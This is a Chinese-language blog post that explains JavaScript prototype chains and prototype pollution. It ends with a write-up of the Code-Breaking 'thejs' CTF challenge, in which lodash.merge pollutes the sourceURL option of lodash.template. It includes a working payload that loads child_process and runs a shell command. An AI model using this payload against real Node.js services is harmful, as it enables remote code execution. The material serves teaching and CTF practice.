Prototype Pollution Attack

原型与原型链

javascript对象

在Javascript中同样是有一切皆对象这种说法的,下面是在javascript中创建对象的三种方式

  • 普通创建
1
2
3
var person={name:'lihuaiqiu','age','19'}

var person={} //创建空对象
  • 构造函数方法创建
1
2
3
4
5
6
7
8
9
10
11
function person(){
this.name="liahuqiu";
this.test=function () {
return 23333;

}
}
person.prototype.a=3;
web=new person();
console.log(web.test());
console.log(web.a)
  • 通过object创建
1
2
3
var a=new Object();
a.c=3
console.log(a.c)

函数即对象思想

这里用instanceof来判断很明显,首先用较为官方的语言来说明一下instanceof

instanceof运算符可以用来判断某个构造函数的prototype属性是否存在另外一个要检测对象的原型链

就像这样

1
2
3
4
5
6
function My(){}
function You(){}

var myOne = new My();
console.info(myOne instanceof My)//true //myone.__proto__===My.prototype
console.info(myOne instanceof You)//false

那么就可以通过下面这样的代码去验证函数即对象了

nRFnk8.png

由此可以test构造函数其实也是一种对象,即”函数即对象”。

那么函数与对象的属性有什么区别呢?csdn上有一个很好的图可以解释这个问题,如下:

nRFRhD.png

函数既可作为对象去解释又可作为函数去解释。

__proto__,constructor与prototype

首先把这三个属性的基本概念列举出来

  • __proto__: \proto__是对象与对象之间连接的桥梁,即原型链

    1
    对象.__proto__=构造器(构造函数).prototype

    构造器.prototype其实也是一个对象,为构造函数的原型对象,同样有__proto__属性,一直通过原型链__proto__最终可找到null。

    在访问一个对象的某个属性时,当属性在实例中找不到,就会在属性中的原型对象中寻找。

  • prototype:prototype为函数特有的属性,而通过构造函数实例化的对象,默认是没有的。

构造函数.prototype即为此构造函数实例化的原型对象,即 构造器(构造函数).prototype=对象._proto_\

其实prototype主要作用为解决构造函数的对象实例之间无法共享属性的缺点,实例如下:

1
2
3
4
5
6
7
8
9
10
function test(){}
test.prototype.a=function num(){
return 666;
}
example1=new test();
example2=new test();

console.log(example1.a); //[Function: num]
console.log(example2.a) //[Function: num]
console.log(example1.a===example2.a); //true
  • constructor:通过实例化对象.constructor即可得到该实例化对象的构造函数,实例如下:
1
2
3
4
5
function Person() {}
var person1 = new Person()
var person2 = new Person()
console.log(person1.constructor) //[Function: Person]
console.log(Person.prototype.constructor) //[Function: Person] //Person的原型对象的构造函数即为Person

之前介绍的函数即对象思想在这里就可以解释一些代码了

1
2
3
4
function Person() {}
console.log(Person.constructor) // [Function: Function]
console.log(Function.constructor) // [Function: Function]
console.log(Object.constructor) // [Function: Function]

这四行代码说明了以下几点问题

  1. Funtion函数为Person函数的构造函数,这里就间接说明了函数即对象这个思想
  2. Function函数同时也是自己的构造函数
  3. Function函数同时为Object内置类的构造函数

所以,javascript中任意函数都是函数Function的实例对象,同时Function函数自身也为自己的实例对象

一些帮助理解的小例子

1
2
3
4
5
6
7
8
function Person() {}
var person1 = new Person()
console.log(person1.constructor) //[Function: Person]
console.log(Person.prototype.constructor) //[Function: Person]
console.log(person1.__proto__===Person.prototype)
console.log(person1.__proto__.__proto__.constructor) //[Function: Object]
console.log(person1.__proto__.__proto__==Object.prototype) //{}
console.log(person1.__proto__.__proto__.__proto__) //null

来自csdn上的一个很棒的图片

nfdXRK.png

Object与Function

Object/Function既是对象,有自己的方法和属性,也是函数,可以作为构造函数,或许可以称作所谓的构造函数(函数对象)

Function

Function相对来说是一个很特别的函数/对象

  • 一般函数函数的prototype属性为一个原型对象,而Function的prototype属性为一个函数对象
  • 所有函数的本身的__proto__属性指向Function的原型对象,实例如下:
1
2
3
function Person() {}
console.log(Person.__proto__===Function.prototype)
console.log(Object.__proto__===Function.prototype)
Object
  • Object.prototype为所有对象原型链的终点且Object.prototype.__proto__为null

一些帮助理解的小例子

1
2
3
4
5
6
7
Function.__proto__ === Function.prototype // true 
Object.__proto__ === Function.prototype // true
Object.prototype.__proto__ === null // true
Function.prototype.__proto__ === Object.prototype // true
Object.prototype === Object.__proto__ // false
console.log(Object.prototype) // {}
console.log(Object.__proto__) // [Function]

普通对象与函数对象的一些区别

1
2
3
4
var test={'name':'lihuaiqiu'}
function Person(){}
console.log(test.__proto__===Object.prototype)
console.log(Person.prototype.__proto__===Object.prototype)

从上例中可明显看出函数对象与普通对象的区别是中间差了一个prototype获取原型对象的过程。

原型链污染

污染实例如下

1
2
3
4
5
6
var test1={a:1,b:2}
test1.__proto__.c=3
console.log(test1.c) //3
var test2={}
console.log(test2.a) //undefined
console.log(test2.c) //3

在上面的代码中我们并没有在test2对象中设置c变量,但是却成功的打印出了c这是为什么呢?

因为我们在test1.__proto__中也就是object.prototype(Object构造函数的原型链)中设置了c,那么访问test2.c的时候首先在这个对象中找不到,再去test2.__proto__去找(也就是Object构造函数的原型链中去找),正好找到c变量即可正常数据,这个访问流程也就是对JS原型链的诠释,下面我们具体打印一下Object来看一下

nfH5hq.png

原型链污染应用场景

这里用的是ph牛给的例子,在ph牛的文章中,有以下两个场景可能产生原型链污染

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

这里本来的想法是通过o1.__proto__去操控Object.prototype进而污染o3,但是这个o2中的proto并没有被当作键值,可以打断点看一下

nhtCr9.png

这个__proto__其实已经被当作原型对象了,不过在看这个的时候我发现o2其实也是有点意思的,实验如下:

nhd2fx.png

这里我们可以看到其实这个a中设置的”键值”已经被当作了a的原型对象了,相当于我们自己定义的原型对象,正常情况下a.__proto__就可以去操作Object.prototype了,但是这里是需要两次__proto__的,我们来看一下正常键值下我们通过__proto__来操控Object.prototype的亚子

nhBkOU.png

这样就很清晰的明白了在__proto__键值下为什么要通过两次__proto__才能去操作Object.prototype

所以在ph牛给的例子中我们的键值相当于自定义了一个原型对象,故没法在新的对象中添加__proto__键值,所以就没法进行原型链污染了。那么怎么才能进行原型链污染呢,ph牛同样给出了例子

1
2
3
4
5
6
7
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

跟进分析一下

nhD33q.png

从上图我们可以看出来在merge之后成功触发原型链污染,成功修改Object.prototype造成对o3的污染。

那么我们可以清楚在JSON解析的情况下__proto__是会被当作键名的,而不再是类似之前那样被当作自己声明的原型了。

Code-Breaking Thejs

主要部分代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) //处理JSON数据
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false //设置一下Session
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err)) //调用ejs进行渲染
let compiled = lodash.template(content) //渲染内容
let rendered = compiled({...options}) //动态引入成员变量

return callback(null, rendered) //传回来
})

})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
} //将body中的数据传入sessioN中


res.render('index', {
language: data.language,
category: data.category //渲染自己的选择
})

})

app.listen(3000, () => console.log(Example app listening on port 3000!))

程序主要逻辑分析

我们通过两个选择框选择后这个框架会发生什么

首先判断请求方式是POST,然后进行下一步,通过lodash.merge,将我们body中的数值给data,然后session中储存这个data,这里也大概跟了一下lodash.merge,其原理应该就是正常的merge。

赋值完了之后进行渲染index,在渲染的适合,会跳到下面这个函数

1
2
3
4
5
6
7
8
9
  app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})

return callback(null, rendered)
})
})

也就是说这个才是渲染的核心,首先读取index.ejs的内容作为content,然后传入template模板化,最后进行动态引入一些配置变量,我们可以把compiled和options截出来具体看一下

nTBWLt.png

这样我们的rendered的值就是渲染后的界面了,最后callback返回给用户。

漏洞点分析

原型链污染点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}


res.render('index', {
language: data.language,
category: data.category
})

})

在上面也说过原型链污染一般会出现在merge和clone中,那么这里的merge正好可以去触发原型链污染,而且req.body还是我们自行控制的,那么就可以造成原型链污染了

漏洞点触发

这个漏洞触发倒是很仔细的分析了一波,分析了一下,也发现了一些很有意思的点。这里详细的记录分析一哈

正常的访问流程依然没变,先是把body中的数据传递到session中的data,然后渲染index页面,那么原型链污染的点是在data,我们下面就来仔细分析一下index的漏洞触发问题,首先跟进template函数,这个函数就是触发的关键了,因为后面的句子就是动态引入变量了,我们在template函数中需要找到一个未经过定义的变量这样才能通过这个变量拿到污染的值,这个变量就是sourceURL

1
2
3
4
5
var sourceURL = '//# sourceURL=' +
('sourceURL' in options
? options.sourceURL
: ('lodash.templateSources[' + (++templateCounter) + ']')
) + '\n';

在正常传递payload的情况下我们可以去看一些sourceURL的值

nHXw0s.png

这就说明了options.sourceURL的值是未定义的,这就符合我们所需要的未定义的变量了,那么sourceURL在原型链污染的情况下最终的值就是我们的污染语句了,那么下面就接着跟一下这个template吧,最后template函数返回的变量是result,那么我们来看一下result的定义

1
2
3
4
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

通过Function匿名函数,importsValues以数组形式代表参数

nbS1Rx.png

那么在原型链污染的情况下我们就可以控制sourceURL,提前return我们想要的污染语句

1
\r\nreturn e = () => {return global.process.mainModule.constructor._load('child_process').execSync('whoami').toString()}\r\n

这里通过\r\n来逃避之前的注释,至于这里为什么要return一个匿名函数,之后会有一个解释,那么就继续跟进,将result返回给我们的compiled,再通过这个compiled去动态引入一些配置变量

不过这里有一个很有意思的地方,污染情况下和没污染的compiled的值对比如下

污染后

nbpfBD.png

污染前

nbpbgP.png

从这两处对比来看其实我们可以发现命令执行应该是在

1
let rendered = compied({...options})

这里进行执行的,而且compiled在两处分别是对象函数与匿名函数,这里我有一个推测,就是必须要通过函数的形式来引入这些配置变量,这也就是为什么我们污染语句不是函数的话他就会报错的原因了,这里匿名函数执行到导致后面的源码无法渲染回来,所以我们原型链污染后他返回来的代码是我们命令执行的结果,并且没有一点之前的源码,最终得到 了我们的结果

PS:如果不是单独docker靶机的话,最好加个循环把污染的环境变量删掉,防止你的flag泄露

最后效果

nb9BKf.png

参考链接

https://juejin.im/post/5b3798f851882574c105c51c

https://juejin.im/post/5b3dd222e51d4519226f204d

https://juejin.im/post/5cc99fdfe51d453b440236c3

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

https://paper.seebug.org/755/#hard-thejs

https://blog.csdn.net/cc18868876837/article/details/81211729

https://blog.csdn.net/ylwdi/article/details/82805255